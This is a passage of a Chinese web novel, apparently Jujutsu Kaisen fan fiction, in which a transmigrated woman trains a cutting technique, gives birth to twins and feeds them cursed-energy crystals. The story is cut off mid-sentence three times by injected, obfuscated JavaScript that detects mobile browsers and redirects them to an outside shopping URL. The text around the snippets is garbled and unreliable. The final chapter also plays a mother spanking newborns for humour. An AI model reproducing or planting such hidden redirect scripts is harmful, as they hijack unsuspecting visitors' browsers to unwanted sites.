腰还酸,腿还软,体内咒力空空荡荡,像一口见底的井。 但她摸到了床边那包安倍有行送来的药。 安胎的。 她拆开一瓶,倒出几粒黑乎乎的药丸,也没用水,直接嚼了咽下去。 苦得她龇牙咧嘴。 “妈′的,”她含糊不清地骂,“这是药还是黄连。” 肚子里两个崽没有嘲笑她。 他们正忙着吸收那一点点药力,忙着修复今晚透支生长的代价。 宿观音靠着墙,一手摸着肚子,一手无意识地搭在婴儿床的护栏上。 窗外,山林又恢复了往常的安宁。 虫鸣,风吟,溪流潺潺。 仿佛什么都没有发生。 但她知道,这只是第一波。 那些人今晚退了,不是因为怕她。 是因为不确定。 不确定她的术式极限,不确定她背后有没有其他势力,不确定贸然强攻会付出多大代价。 下一次,他们会准备得更充分。 下一次,来的可能就不止四个。 宿观音沉默地看着窗外的夜色。 然后她低下头,看着自己高高隆起的腹部。 “一个月,”她说,“最多还有一个月。” “你们要出来。” “妈需要你们。” 这不是商量。 是请求。 是她穿越以来,第一次对命运低头。 肚子里两个崽没有回答。 但他们同时用力地、用力地,贴紧了她。 像在说: 好。 我们快点长大。 我们出来帮你。 我们——保护你。 宿观音的眼眶又红了。 她抬手用力揉眼睛,揉得眼眶发红,揉得那些没出息的液体都憋回去。 “行了,”她吸吸鼻子,“煽情到此为止。” “现在的问题是——怎么在一个月里,把实力再往上提一截。” 她低头看着手腕上那枚暗灰色的咒具手镯。 今晚的战斗,它吸收了那头咒灵死亡时逸散的大部分咒力,此刻隐隐泛着温润的光泽。 “你倒是吃得饱。”她戳了戳手镯,“我快饿死了。” 手镯当然不会回答。 但她肚子里那两个小崽子,同时动了一下。 左边那个崽又踢了一脚,这次带着明确的指向性: 妈,外面还有咒灵。 我们去打猎。 宿观音愣了一下。 然后她笑了。 “行,”她说,“等天亮。” “妈带你们去刷副本。” 窗外,晨光熹微。 新的一天,新的口粮。 新的,等着被切成结晶的咒灵。 以及—— 新的,等着被她切成碎片的敌人。 她躺回床上,把两个婴儿床往自己这边拽了拽。 一手搭着左边那张床的护栏,一手搭着右边那张床的护栏。 中间是她七个月大的、还没出世就已经会保护母亲的、两个了不起的崽。 “睡吧。”她说。 “明天开始,妈要特训了。” “一个月后——” 她没有说下去。 但两个崽都懂了。 一个月后,他们出生。 一个月后,她不再是一个人。 一个月后,那些惦记“诅咒之种”的人—— 会知道什么叫真正的,鬼母守崽,寸草不生。 树屋里,暖光轻轻摇曳。 平安京的夜还很长。 但黎明,总会来的。 10. 第九章 简易领域 特训第一天,宿观音差点把自己练废。 不是强度太大,是压根不知道该从哪儿下手。 她站在树屋外的空地上,对着清晨的雾气发了十分钟的呆。肚子里两个崽大概是感应到母亲的迷茫,左边那个小心翼翼地踢了一下,像在问:妈,你还好吗? “好。”她面无表情,“好得很。就是突然发现,我连自己这身本事到底叫什么都不知道。” 斩击。她会。 反转术式。她会。 咒力操作、结晶吸收、暴力拆迁——她全会。 但这身本事是怎么来的?上限在哪?怎么提升? 她一概不知。 穿越没带说明书,系统没给技能树,她这身力量就像天上掉下来的馅饼,砸得她满嘴油,却不知道下一口往哪儿咬。 “靠。”她骂了一声,扶着腰坐到树屋阳台边,两条腿垂在半空中晃荡,“早知道当年看漫画的时候认真点,把五条悟的领域展开背下来。” 左边那个崽又踢了一下,带着点幸灾乐祸。 “笑什么笑,”她拍肚皮,“你妈我废了,你俩就等着被回收吧。” 肚子瞬间安静了。 右边那个崽沉稳地顶了顶子宫壁,像在说:妈,你行的。 “……这还差不多。” 她把脚收回来,托着腮,盯着自己的右 手。 这具身体是“傀身”,是被那批人用咒术捏造的容器,专门用来孕育“诅咒之种”。她穿越过来,占据了这具无魂的□□,同时也继承了她本身的力量——或者说,是这具身体在漫长岁月中自然积累的力量。 那批人说她是“器”。 但器皿本身,也可以成为刀。 “行,”她站起来,“既然没有教材,那就自己编。” 她开始像一个刚接触术式的新人一样,从头感知自己的咒力。 不是凭本能挥出斩击,而是把那股锋锐的力量凝聚在指尖,仔细观察它的流动、形态、触感。 咒力是冷的。不是温度上的冷,是本质上的疏离。像冰水混合物,像出鞘前一瞬的刀锋。 她把咒力从指尖引出,在空中缓慢地画了一道弧线。 那道弧线在空中停留了半秒,然后无声消‘散。 她又画了一道。这次更慢,更专注。 弧线停留的时间延长了一点。 肚子里两个崽安静得出奇。他们感知到母亲在做一件重要的事,连呼吸都放轻了,生怕打扰她。 宿观音就这样,站在晨雾里,一遍一遍,画着无形的弧线。 第一天结束的时候,她能在空中留下持续三秒的“斩击痕迹”。 那是一道细如发丝、泛着微光的线,像冬日玻璃窗上凝出的第一道冰裂纹。 她看着那道线,忽然笑了。 “崽,”她说,“你妈我好像找到门路了。” 左边那个崽用力踢了一下,兴奋得很。 右边那个崽轻轻顶了顶,沉稳地鼓励。 第二天,她开始尝试控制斩击的“形态”。 不再只是一道线,而是面。她把咒力铺展开,像展开一匹无形的布,然后—— 斩。 面前三米处的一块青石,被齐整地削去了手掌厚的一层。 切口光滑如镜。 她低头看着自己的手。 “原来能这样。”她喃喃,“不是只能切一条线……是能切一个面,一个区域……” 左边那个崽激动得连踢三脚。 “知道了知道了,”她没好气,“你妈不是笨蛋,只是需要时间琢磨。” 第三天,第四天,第五天。 她像着了魔一样,从早到晚站在那块空地上。饿了就啃肉干,渴了就灌山泉水,累了就扶着树干喘两口气,然后继续。 咒力结晶消耗得飞快。那半罐储备以肉眼可见的速度往下掉。 但她的进步,也是肉眼可见的。 从切出“面”,到切出“多层重叠的面”。 从只能切静止的目标,到能捕捉在空中掠过的飞鸟残影。 从需要蓄力、凝神、瞄准,到心念一动,斩击即至。 第六天傍晚,她靠在树干上,累得连手指都抬不起来。 肚子里两个崽今天异常安静。不是疲惫的安静,是那种憋着坏、等着给妈妈惊喜的安静。 宿观音正疑惑,忽然感觉到一股微弱的咒力从脐带那边渡过来。 不是吸收,是“输送”。 左边那个崽把他储存的那点咒力,小心翼翼地渡给她,像小猫把藏起来的鱼干推到主人手边。 右边那个崽也跟着渡,沉稳,持续,源源不断。 宿观音愣住了。 “你们……”她张了张嘴,声音忽然有些哑,“这是给我存的?” 两个崽同时动了动。 左边那个轻轻踢她,像在说:妈,你太累了,给你补补。 右边那个顶着她,沉稳地附议。 她低下头,手掌覆在肚皮上,很久没说话。 雾气漫上来,模糊了她的眼眶。 “……真出息。”她吸了吸鼻子,“还没生就 知道给妈存私房钱了。” 第七天,她带着两个崽的“私房钱”补给,开始了新的尝试。 领域的本质是什么? 她记得漫画里说过,领域展开是在心象风景构筑的结界内,对术式进行绝对强化的必中必杀技。 她做不到。至少现在做不到。完整的领域需要极高的咒力总量和精细的控制力,她一个七个月孕妇,把血条蓝条都算上也不够。 但简易领域呢? 漫画里的简易领域,是对抗领域必中效果的一种“落伍技术”,本质是在自身周围构筑一个极小范围的、术式强化的“安全区”。 她不想要安全区。 她想要—— “清扫区。” 第八天,第九天,第十天。 她不再追求斩击的形态和距离,而是把全部心力压缩在自身周围。 一米。半米。一臂之内。 让这片空间里的每一寸空气,都浸透她的咒力。让任何进入这片空间的异物,都逃不过她的“感知”。 不,不只是感知。 是“斩”。 第十一天傍晚,一只不长眼的低等咒灵误入树屋附近。 它刚刚踏进宿观音周围三米的范围,甚至还没看清目标在哪里—— 它的身体,连同它身后的地面,连同它飘散的残秽,一同被无数道无形无影的斩击切成了齑粉。 宿观音站在原地,甚至没有抬手。 她低头看着自己的手。 刚才那一瞬间,她什么都没想。那只咒灵踏入“她的范围” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265094|198079||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于是被“清除”——像呼吸一样自然,像眨眼一样本能。 这就是简易领域。 不是展开结界,不是吟唱咒文。是把“斩”这个概念,永久地、持续地、不自觉地,覆盖在自身周围。 她给它起了个名字。 “无间斩刍。” 第十三天,她能把领域的范围稳定在一米以内,精准识别并避开需要保护的目标(比如她特意放在脚边的一株野花)。 第十五天,她把范围扩大到三米,维持时间从三息延长到十息。 第十八天,她尝试在领域内进行“选择性斩杀”——只斩咒力构成的实体,放过草木土石。成功了,但消耗剧增,维持时间缩短到五息。 第二十一天,她发现领域可以“收”也可以“放”。收的时候,斩击凝聚在体表,像一层无形的甲胄。放的时候,斩击如潮水般涌出,清扫周围一切敌意生命。 第二十三天傍晚,她结束了特训。 不是因为练不下去了,是因为咒力结晶见底了。 那半罐储备,加上两个崽的“私房钱”,加上她这二十多天猎杀咒灵现打现吃的收益,全部消耗殆尽。 她站在空地上,看着夕阳把山林染成金红色。 肚子里两个崽今天格外安静,不是疲惫, 是那种大考之后、尘埃落定的安静。 她低头看着肚皮。 七个月零三周。 就这几天了。 “崽,”她说,“妈能做的都做了。” 两个崽轻轻动了动。 “剩下的,就看你们什么时候想出来了。” 左边那个踢了她一下,力道不重,像在说:快了快了,别催。 右边那个沉稳地顶着她,像在说:我们准备好了。 她笑了笑,扶着腰,慢慢走回树屋。 这天晚上,她没有像往常一样早早睡下。 她把树屋里里外外收拾了一遍。 婴儿床重新铺了干草和软布,两床小被子叠得整整齐齐。襁褓放在床头,伸手就能够到。水缸打满,柴火备足,肉干和熏肉分门别类挂在通风处。 那套安倍有行送的安胎药,还剩最后一瓶。她放在枕边。 然后她躺下来,一手护着肚子,一手搭着婴儿床的护栏。 窗外月色很好。 她很久没有这样安静地看过月亮了。 肚子里两个崽似乎也在看。 左边那个轻轻踢了她一下,像在问:妈,月亮好看吗? 右边那个沉稳地贴着她,像在说:和妈一起看,就好看。 她忽然有些想哭。 不是难过,是那种……等了很久很久、终于快要等到的心情。 “崽,”她轻声说,“等你们出来,妈带你们看很多很多月亮。” “这山里每个晚上的月亮,都不一样。” 两个崽同时动了动。 她闭上眼睛。 第二十四天。 清晨,宿观音是被一阵熟悉的饥饿感唤醒的。 不是崽们在闹,是她自己饿了。昨天那点肉干没扛住,肚子里空落落的,咕噜噜叫得响亮。 “行行行,起来起来。”她揉着眼睛坐起身,粉色的麻花辫睡散了,毛毛躁躁地披在肩上,“给你们弄早饭。” 她扶着墙挪下床,脚刚沾地—— 忽然顿住了。 11. 笫十章生产 她低头看着自己湿′透的衣摆。 水。透明的、温热的水,顺着腿根往下流,淌在木地板上,汇成一小滩。 不是汗水。 她知道不是。 她愣在原地,大脑一片空白。 肚子里两个崽几乎是同时动了起来。左边那个猛地踢了她一脚,右边那个用力顶住子宫壁,那种慌乱、紧张、还有隐隐的期待,通过脐带清晰地传递过来。 是他们在动。 是他们在说—— 妈,我们要出来了。 宿观音低头看着那滩水,又低头看着自己剧烈起伏的肚子。 “……”她张了张嘴,声音沙哑得不像自己,“你们……现在?” 左边那个狠狠踢了她一脚,像在说:就是现在!别愣着! 右边那个也用力顶她,沉稳地催促。 她深吸一口气。 然后她抬手,不轻不重地拍了一下肚皮。 “行,”她说,声音有点抖,但语气已经稳下来了,“算你们会挑时候。” “妈刚学会大招,你们就急着出来看热闹。” 她扶着墙,一步一步,挪回床边。 刚坐下,一股前所未有的感觉从腰骶深处涌上来。 不是疼——至少不只是疼。 是沉。是坠。是有什么东西在用力地、执着地,想要从她身体里出来。 她闷哼一声,指甲扣进床沿的木头里。 左边那个崽剧烈地动着,像也在经历同样的努力。 右边那个崽蜷紧了身体,贴着她,安静地等待。 宿观音咬紧牙关,没有喊。 她只是急促地喘着气,额头上沁出细密的汗。 十几秒后,那波感觉缓缓退去。 她瘫靠在床沿,浑身脱力。 “第一波……”她哑声说。 没人能回答她。 她只知道—— 要生了。 真的要生了。 肚子里两个崽又开始动了。不是慌乱地踢蹬,是一种更规律的、更有力的动作。他们在努力,在调整位置,在为离开这个住了八个月的温暖小窝做准备。 她低头看着自己高高隆起的腹部。 皮肤绷得发亮,纹身在光下隐隐流转。两个小生命的轮廓隔着肚皮若隐若现,一个在左,一个在右。 左边那个——她的宿傩。 右边那个——她的宿昶。 她忽然就不那么怕了。 “崽。”她开口,声音沙哑却平稳。 两个崽同时动了动。 “妈没生过孩子。”她说,“也没什么经验,可能搞得乱七八糟的。” 左边那个轻轻踢了她一下,像在说:没事,我们也不熟。 右边那个沉稳地顶着她,像在说:一起学。 她笑了。 “那说好了,”她把手掌覆在肚皮上,“咱们仨,第一次当妈,第一次当崽。” “都别嫌丢人。” 第二波,在几分钟后袭来。 这一次更沉,更久,像要把她的腰从中间生生往下拽。 她没有叫。 只是死死扣着床沿,大口喘气,汗珠顺着下颌滴落。 肚子里两个崽也在用力。 她感觉得到——他们在往下走,一点一点,用自己的方式响应着母亲身体的呼唤。 左边那个崽不再踢她了,而是以一种前所未有的方式,用力地、持续地、向下移动。 右边那个崽依然沉稳,但他的每一次挪动,都顺应着她身体的本能。 他们在一起努力。 不是母亲一个人。 是三个人。 第三波过去后,宿观音知道自己不能再干坐着了。 她需要热水。需要干净的布。需要那套她准备了很久却从没真正用过的东西。 她撑着床沿,慢慢站起来。 腿在抖,腰像断了一样酸软,但她的眼神是稳的。 一步。 两步。 她挪到灶台边,点燃火塘。 陶锅架上去,水倒进去。 她又挪到储物区,把那堆早准备好的东西翻出来——干净的软布,麻线,那把用沸水煮过的小刀。 她甚至还记得把安倍有行送的药拿出来,放在手边。 然后她挪回床边,靠在叠起的兽皮上,等待下一波。 窗外,晨光正好。 山林宁静,鸟鸣清脆,溪流潺潺。 仿佛不知道这间小小的树屋里,正在发生什么。 第四波。 第五波。 第六波。 间隔越来越短,每一次持续的时间越来越长。 宿观音的意识开始有些模糊。 她不知道过了多久,只知道天还亮着,又暗了,又亮了。 她已经没有力气再挪动,只能靠在床上。 两个崽依然在努力。 左边那个崽已经降到了很低的位置,她甚至能隔着薄薄的肚皮,摸到他的小脑袋。 右边那个崽慢一些,但也稳稳地跟着。 “加油……”她的声音已经沙哑得几乎听不见,“崽……加油……” 她不知道是在鼓励他们,还是在鼓励自己。 忽然,左边那个崽用力地、猛地一顶。 一股前所未有的感觉同时袭来。 不是疼。 是撑。 是有什么东西,正在从她身体里,一点一点,往外挤。 她发出一声闷哼,整个人像从水里捞出来一样,汗湿透了衣襟。 她低头。 看到了。 粉色的、湿漉漉的、小小的一团发顶。 她愣住了。 然后她伸出手,颤抖着,轻轻地,触碰了那团小小的粉色。 温热的。柔软的。 活的。 她喉咙里滚出一声沙哑的、破碎的呜咽。 “崽……” “妈看到你了……” 她咬紧牙关,按照记忆中那些模糊的知识,深吸一口气,然后—— 用力。 一下。 又一下。 那团小小的粉色,一点一点,往外移动。 她不知道过了多久。 可能是一刻钟,也可能只是几分钟。 忽然,那团小小的东西,整个滑了出来。 温热的、湿漉漉的、小小的一团,落在她颤抖的手掌里。 她低头看着手里那个小小的生命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宿观音低头看着依然高高隆起的肚皮,又低头看看怀里这个已经出来的小家伙。 她笑了,眼泪还挂在脸上。 “知道了,”她说,“没忘。” “你哥——呃,你弟?反正,他先出来的那个,已经在了。” “现在轮到你了。” 她把怀里的小人儿小心地放在身旁铺好的软布上,用襁褓裹好。 那个小小的人儿皱着眉,似乎对离开母亲的怀抱很不满,但实在太累了,只是轻轻哼了一声,又沉沉睡去。 宿观音看着他,看了很久。 然后她深吸一口气,把注意力转向肚子里那个还在等待的崽。 “来吧,”她说,“轮到你了。” “妈准备好了。” 窗外,风吹过林梢,带来一阵清新的草木气息。 树屋里,一个新的生命刚刚降临。 另一个,正在努力奔赴。 而她,在两个世界的交界处,用自己全部的力量,等待着第二个拥抱。 12. 第十一章宿傩和宿昶 怀里空了。 宿观音来不及伤感,新一轮的感觉已经涌上来。 肚子里那个还在等待的崽似乎感知到哥哥——或者弟弟?反正先出来那个已经出来了——此刻正用前所未有的力度顶着她。 不像左边那个活泼好动、一路踢踢蹬蹬地往下冲,右边这个的节奏沉稳得多。 一下。两下。三下。 有规律的、持续用力的、不慌不忙地往下走。 “你倒是个慢性子。”宿观音喘着气,汗水顺着脸颊往下淌,“你哥——你弟?反正先出来那个——折腾得我死去活来,你在这儿给我打拍子?” 肚子里那个崽轻轻动了一下,像在说:急什么,我又不跑。 她哭笑不得。 窗外的阳光已经升得老高。她不知道过了多久,只知道身旁那个先出来的小人儿睡得很沉,小小的胸口一起一伏,粉色的小脑袋上湿漉漉的头发渐渐干了,变得毛茸茸的。 她只看了一眼,就移不开目光。 那是她的崽。 活生生的、会哭会动的、小小的一团。 她还想多看几眼,但肚子里那个沉稳的崽又用力顶了她一下。 “行行行,”她收回视线,“知道了,你也要出来。” 新一轮的努力开始。 右边这个崽确实和左边那个不一样。 左边那个是横冲直撞、不管不顾、拼了命往外冲的类型。右边这个却是一下一下、稳扎稳打、每一步都踩在点子上。 宿观音甚至有种错觉——他在配合她。 她用力的时候,他也用力。她喘气休息的时候,他也停下来等。 “你……”她喘着气,声音沙哑,“你是在照顾你妈吗?” 肚子里那个崽轻轻动了一下,像在说:不然呢? 她忽然有点想哭。 不是难过,是那种……被两个还没出世的小东西轮流照顾着的、又酸又软的心情。 左边那个急着出来,是因为想早点见到她。 右边这个慢慢来,是因为怕她太累。 明明都是八个月的胎儿,明明都还困在她肚子里,却已经用各自的方式,在爱她了。 “行,”她吸了吸鼻子,把那股酸涩压下去,“那咱们慢慢来。” “妈等你。” 时间变得模糊。 不知道过了多久,窗外的影子从短变长,又从长变短。 身旁那个先出来的小人儿醒了一次,哼哼唧唧地哭了几声。她顾不上,只能一边用力,一边伸手轻轻拍着他,嘴里胡乱哄着:“乖,乖,妈在,等一下,等一下啊……” 那个小人儿居然真的不哭了,只是委屈地哼了哼,又睡过去。 肚子里那个沉稳的崽,在这个时候用力顶了她一下。 像在说:你看,他睡了,你可以专心了。 她咬着牙,笑了。 “你们俩,”她喘着气,“是商量好的吗?” 没人回答她。 但那一瞬间,她确实感觉到——两个小小的生命之间,似乎有一种微妙的、无声的默契。 左边那个负责闹,右边那个负责稳。 一个让她哭,一个让她笑。 这日子,以后怕是要热闹了。 终于,那个时刻来了。 和第一个出来时的突然不同,这一次,她感觉得到每一个细微的变化。 那个沉稳的崽,一点一点,往下走。 稳稳的,慢慢的,每一步都踏踏实实。 直到她低头,看到那一小团黑色的发顶。 黑的。 不是粉色,是黑的。 她愣了一下,但来不及多想,新一轮的用力已经本能地涌上来。 一下。 又一下。 那个小小的黑色脑袋,一点一点,往外移动。 和第一个出来时的迅猛不同,这个过程更慢、更稳、更……温柔。 她甚至有余力伸手,轻轻托住那小小的后脑勺。 温热的。柔软的。小小的。 活的。 又一个活的。 她喉咙里滚出一声沙哑的呜咽。 然后,那个小小的黑色脑袋,整个滑了出来。 接着是小小的肩膀,小小的身体,小小的手脚。 温热的、湿漉漉的、小小的一团,落在她另一只手掌里。 她低头看着手里这个新的小生命。 黑色的头发,湿漉漉地贴在小小的脑袋上。紧闭的眼睛,小小的鼻子,小小的嘴巴。 和第一个长得一模一样,只是头发颜色不同。 那个粉色的小人儿,此刻正躺在她身旁,睡得香甜。 这个黑色的小人儿,安静地躺在她手掌里,没有哭。 她等了等。 他不动。 她的心脏猛地一缩。 “崽?”她的声音抖起来,“崽?” 她把他抱起来,贴在自己胸口。 “哭啊,”她哑着嗓子,和刚才一模一样的慌张,“你哭啊……” 那个黑色的小人儿在她怀里动了动,小小的眉头皱起来,然后—— 没有哭。 他只是轻轻地、细细地“啊”了一声。 像在说:哭什么哭,我出来了,妈你别急。 宿观音愣住了。 她低头看着怀里这个黑色的小人儿。 他睁开了眼睛。 黑漆漆的、亮晶晶的、小小的眼睛,就那么看着她。 不哭,不闹,只是静静地看着她。 像在确认:你是妈妈吗? 她的眼泪,唰地流下来。 “崽……”她的声音哽咽得说不出话,“我的崽……” 那个黑色的小人儿又轻轻地“啊”了一声,小小的手动了动,但没有像第一个那样攥住她的手指。 他只是看着她。 用那双黑漆漆的、安静的眼睛,一眨不眨地看着她。 她把他贴在胸口,哭得浑身发抖。 不是难过,是那种——被一个刚出生的、还没睁开眼多久的小东西,用眼神说“我认得你”的、满得快要溢出来的心情。 那个粉色的小人儿,是被她抱出来的、用哭声宣告存在的、热烈的崽。 这个黑色的小人儿,是自己稳稳走出来的、用眼神确认母亲的、安静的崽。 都是她的。 都是她的崽。 她抱着那个黑色的小人儿,哭了很久。 直到他轻轻地、细细地又“啊”了一声,像是在催她:妈,别哭了,我饿了。 她才回过神来,吸着鼻子,把他放到身旁铺好的软布上,用另一床襁褓裹好。 那个黑色的小人儿躺着,眼睛还睁着,安静地看着她。 旁边那个粉色的小人儿,这时候醒了,哼哼唧唧地开始哭。 哭得响亮,哭得理直气壮,哭得整个树屋都在震。 黑色的小人儿偏过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两个小小的人儿,贴着她的身体,隔着薄薄的襁褓,传递着温热的、柔软的、小小的体温。 窗外,夜幕渐渐降临。 山林安静下来,只有远远的风声和偶尔的虫鸣。 树屋里,两个新降生的小生命,在母亲身旁,渐渐安静下来。 粉色的小人儿哭累了,抽抽噎噎地睡过去。 黑色的小人儿也闭上了眼睛,小小的眉头舒展着,睡得安稳。 她看着他们,看着窗外渐渐亮起来的星星。 忽然想起很久以前,在那个遥远的、回不去的世界里,她曾经一个人看过很多次星星。 那时候不知道,有一天,她会在这个陌生的时代,在两个小小的生命身旁,看同一片星空。 “崽,”她轻声说,“以后,妈带你们看很多很多星星。” 没有人回答她。 只有两个均匀的、小小的呼吸声,在夜色里轻轻响起。 她闭上眼睛。 嘴角还带着笑。 平安京的夜,很深,很静。 但树屋里,有了两个新生命的第一夜,很暖。 13. 第十二章:两个小兔崽子 宿观音是被两道哭声吵醒的。 左边一道,嘹亮高亢,像有人拿小喇叭对着她耳朵吹。 右边一道,细弱委屈,像小猫被踩了尾巴。 她睁开眼,眼前是树屋熟悉的木顶。晨光从兽皮帘子的缝隙漏进来,落在床榻上两个并排的小襁褓上。 两个小团子都在哭。 粉色头发那个,哭得脸红脖子粗,小拳头攥得紧紧的,两条小腿蹬来蹬去,把襁褓都蹬松了。 黑色头发那个,哭得秀气多了,小小的眉头皱着,嘴巴一瘪一瘪的,眼泪一颗一颗往下掉,但就是不发出太大声音。 宿观音看着他们,愣了两秒。 然后她想起来了。 昨天。生产。两个崽。宿傩。宿昶。 她当妈了。 “别哭了别哭了,”她撑着床榻想坐起来,“妈给你们喂……” 话没说完,她顿住了。 身体不对劲。 不是难受的那种不对劲。 是—— 太轻松了。 昨天那种被掏空的感觉,那种腰像断了一样酸软、腿像灌了铅一样沉重的感觉,全没了。 她低头看看自己。 肚子瘪下去了。虽然还有点松垮,但已经不像昨天那样高高隆起。身上的汗渍血迹都没了,皮肤干干净净,连那身白色和服都……咦? 她低头看着自己身上的衣服。 干净的。 白色的,没有血渍,没有汗渍,整整齐齐穿在身上。 她记得昨天明明…… “反转术式?”她喃喃。 漫画里说过,反转术式不仅能治疗伤势,还能恢复体力、修复损耗。她这具身体本来就会反转术式,只是一直用来打架,从来没试过用在产后。 没想到效果这么离谱。 她动了动胳膊,又动了动腿。不酸,不疼,不累。除了肚子还有点虚虚的感觉,简直像没事人一样。 “这傀身……有点东西啊。”她忍不住感慨。 两个崽还在哭。 粉色那个已经哭得嗓子都哑了,还是不停,一边哭一边蹬腿,小脸涨得通红。 黑色那个眼泪掉得更凶了,但还是不出声,就那么委屈巴巴地看着她,眼泪一颗接一颗。 宿观音心都揪起来了。 “来了来了,”她翻身下床,一手一个把两个小团子抱起来,“别哭别哭,妈在这儿……” 她把粉色那个贴在左边胸口,把黑色那个贴在右边胸口。 两个小团子立刻不哭了,小嘴开始拱来拱去,找吃的。 然后…… 什么都没找到。 粉色那个拱了半天,什么都没吃到,愣了一下,然后—— “哇——” 哭得比刚才更大声了。 黑色那个也拱了半天,同样什么都没吃到,但他没哭,只是抬起头,用那双黑漆漆的眼睛看着她。 眼睛里写满了:妈,你是不是忘了带东西? 宿观音低头看看自己平坦的胸口,又看看两个饿得直哭的小团子。 “……” “不是,”她对着空气解释,“我这身体……是傀身,是假的,可能没有那个功能……” 两个小团子听不懂。 粉色那个只管哭,哭得撕心裂肺。 黑色那个眼泪又开始掉,但还是不出声,就那么看着她。 宿观音急得团团转。 怎么办怎么办怎么办? 她不会奶孩子啊! 不对,她连奶都没有! 两个崽饿得嗷嗷叫,她总不能给他们喂肉干吧? 等等。 肉干不行,那…… 结晶呢? 她猛地想起储物区那半罐咒力结晶。虽然昨天特训用掉大半,但还剩几块小的。 那东西能被胎儿吸收,刚出生的婴儿……应该也能? 死马当活马医吧。 她把两个崽放回床榻上,快步走到储物区,从陶罐里摸出最后三块指甲盖大小的咒力结晶。 一块淡粉色,一块浅灰色,一块米白色。 她拿着结晶回到床边,犹豫了一下,先把那块最小的米白色结晶,凑到粉色那个嘴边。 粉色那个还在哭,哭得鼻涕眼泪糊了一脸。结晶碰到他嘴唇的时候,他愣了一下,然后—— 小嘴一张,把结晶叼进去了。 宿观音心提到了嗓子眼。 然后,那块米白色的结晶,以肉眼可见的速度,在她眼前—— 融化了。 像冰块掉进热水里,无声无息地化开,融进那个粉色小团子的嘴里。 粉色小团子砸吧砸吧嘴,不哭了。 他眨眨眼睛,看着她,小嘴又张了张,像在说:还有吗? 宿观音:“……” 她又拿起那块浅灰色的,凑到黑色那个嘴边。 黑色那个没有像弟弟一样张嘴就叼。他先看了她一眼,又看了看那块结晶,然后才慢慢地、矜持地张开小嘴。 结晶放进去,同样融化。 黑色小团子也砸吧砸吧嘴,不哭了。 他也眨眨眼睛,看着她。 那双黑漆漆的眼睛里,写满了:还行,凑合。 宿观音看看左边这个,又看看右边这个。 两个小团子都不哭了。 两个小团子都眨巴着眼睛看着她。 两个小团子的小嘴都在砸吧砸吧,像在回味。 “所以……”她慢慢说,“你们以后就吃这个?” 两个小团子没回答。 但粉色那个又张开小嘴,“啊”了一声,像在催:快点,再来一块。 黑色那个虽然没有张嘴,但眼睛一直盯着她手里剩下那块淡粉色的。 宿观音看看他们,又看看手里最后那块结晶。 “行吧,”她把淡粉色那块掰成两半,一半塞进粉色小团子嘴里,一半塞进黑色小团子嘴里,“省着点吃,这是最后一块了。” 两个小团子心满意足地砸吧着嘴,吃完了。 然后—— 粉色那个打了个小小的嗝。 黑色那个眼睛眯了眯,像在享受。 宿观音看着他们,忽然有点想笑。 “你们两个,”她说,“八字还没一撇,就开始吃特供了。” 粉色那个眨眨眼睛,看着她。 黑色那个也眨眨眼睛,看着她。 然后—— 粉色那个的嘴角,似乎、好像、可能,往上翘了一点点? 不是笑,更像是那种……不屑的、挑剔的、勉强满意的表情? 像在说:还行吧,虽然比不上传说中的母乳,但至少能吃。 宿观音以为自己眼花了。 她揉了揉眼睛,再看。 粉色那个已经没有表情了,只是眨巴着眼睛看着她,一副天真无邪的样子。 她又看向黑色那个。 黑色那个也在看她。 然后—— 黑色那个的眉头,似乎、好像、可能,往下压了一点点? 不是皱眉,更像是那种……无奈的、认命的、早就知道会这样的表情? 像在说:妈,你这身体,我们早就知道了。 宿观音愣住了。 她盯着两个小团子,盯了很久。 粉色那个被她盯得不耐烦了,小嘴一瘪,又要哭。 黑色那个倒是不怕她盯,就那么安安静静地看着她,眼睛都不眨。 “你们两个,”她慢慢开口,“刚才是不是……做了表情?” 两个小团子一脸无辜。 粉色那个继续瘪嘴,马上就要哭出来。 黑色那个继续安静地看着她,眼睛里写着:什么表情?我不知道。 宿观音沉默了三秒。 然后她深吸一口气。 “行,”她说,“我早就知道你们两个不是普通孩子。” “未来诅咒之王嘛,有点特殊也正常。” “但是——” 她顿了顿,眼神变得危险起来。 “刚出生第一天,就敢对你妈做出‘不屑’和‘无奈’的表情?” 两个小团子同时愣了一下。 粉色那个瘪到一半的嘴停住了。 黑色那个安静的眼神微微一动。 宿观音咧嘴笑了。 那笑容,带着点匪气,带着点威胁,带着点“三天不打上房揭瓦”的意味。 “看来,胎教还不够。” 她伸出手,一手一个,把两个小团子从襁褓里拎出来。 两个小团子光着屁股,悬在半空中,四只小眼睛瞪得溜圆。 粉色那个懵了,不知道发生了什么。 黑色那个虽然也懵,但眼睛里已经闪过一丝“不妙”的预感。 宿观音把他们翻过来,脸朝下。 然后—— “啪!” 一巴掌落在粉色那个小小的屁股上。 “这一下,是教你怎么尊重妈妈。” 粉色那个愣了一下,然后—— “哇——”哭得惊天动地。 “啪!” 又一巴掌,落在黑色那个小小的屁股上。 黑色那个没哭。 他只是回过头,用那双黑漆漆的眼睛看着她。 眼睛里写着:妈,我没做表情。 宿观音瞪他。 “你做了。”她说,“满脸黑线,当我没看见?” 黑色那个眨眨眼睛,一脸无辜。 “啪!” 第三巴掌,还是黑色那个。 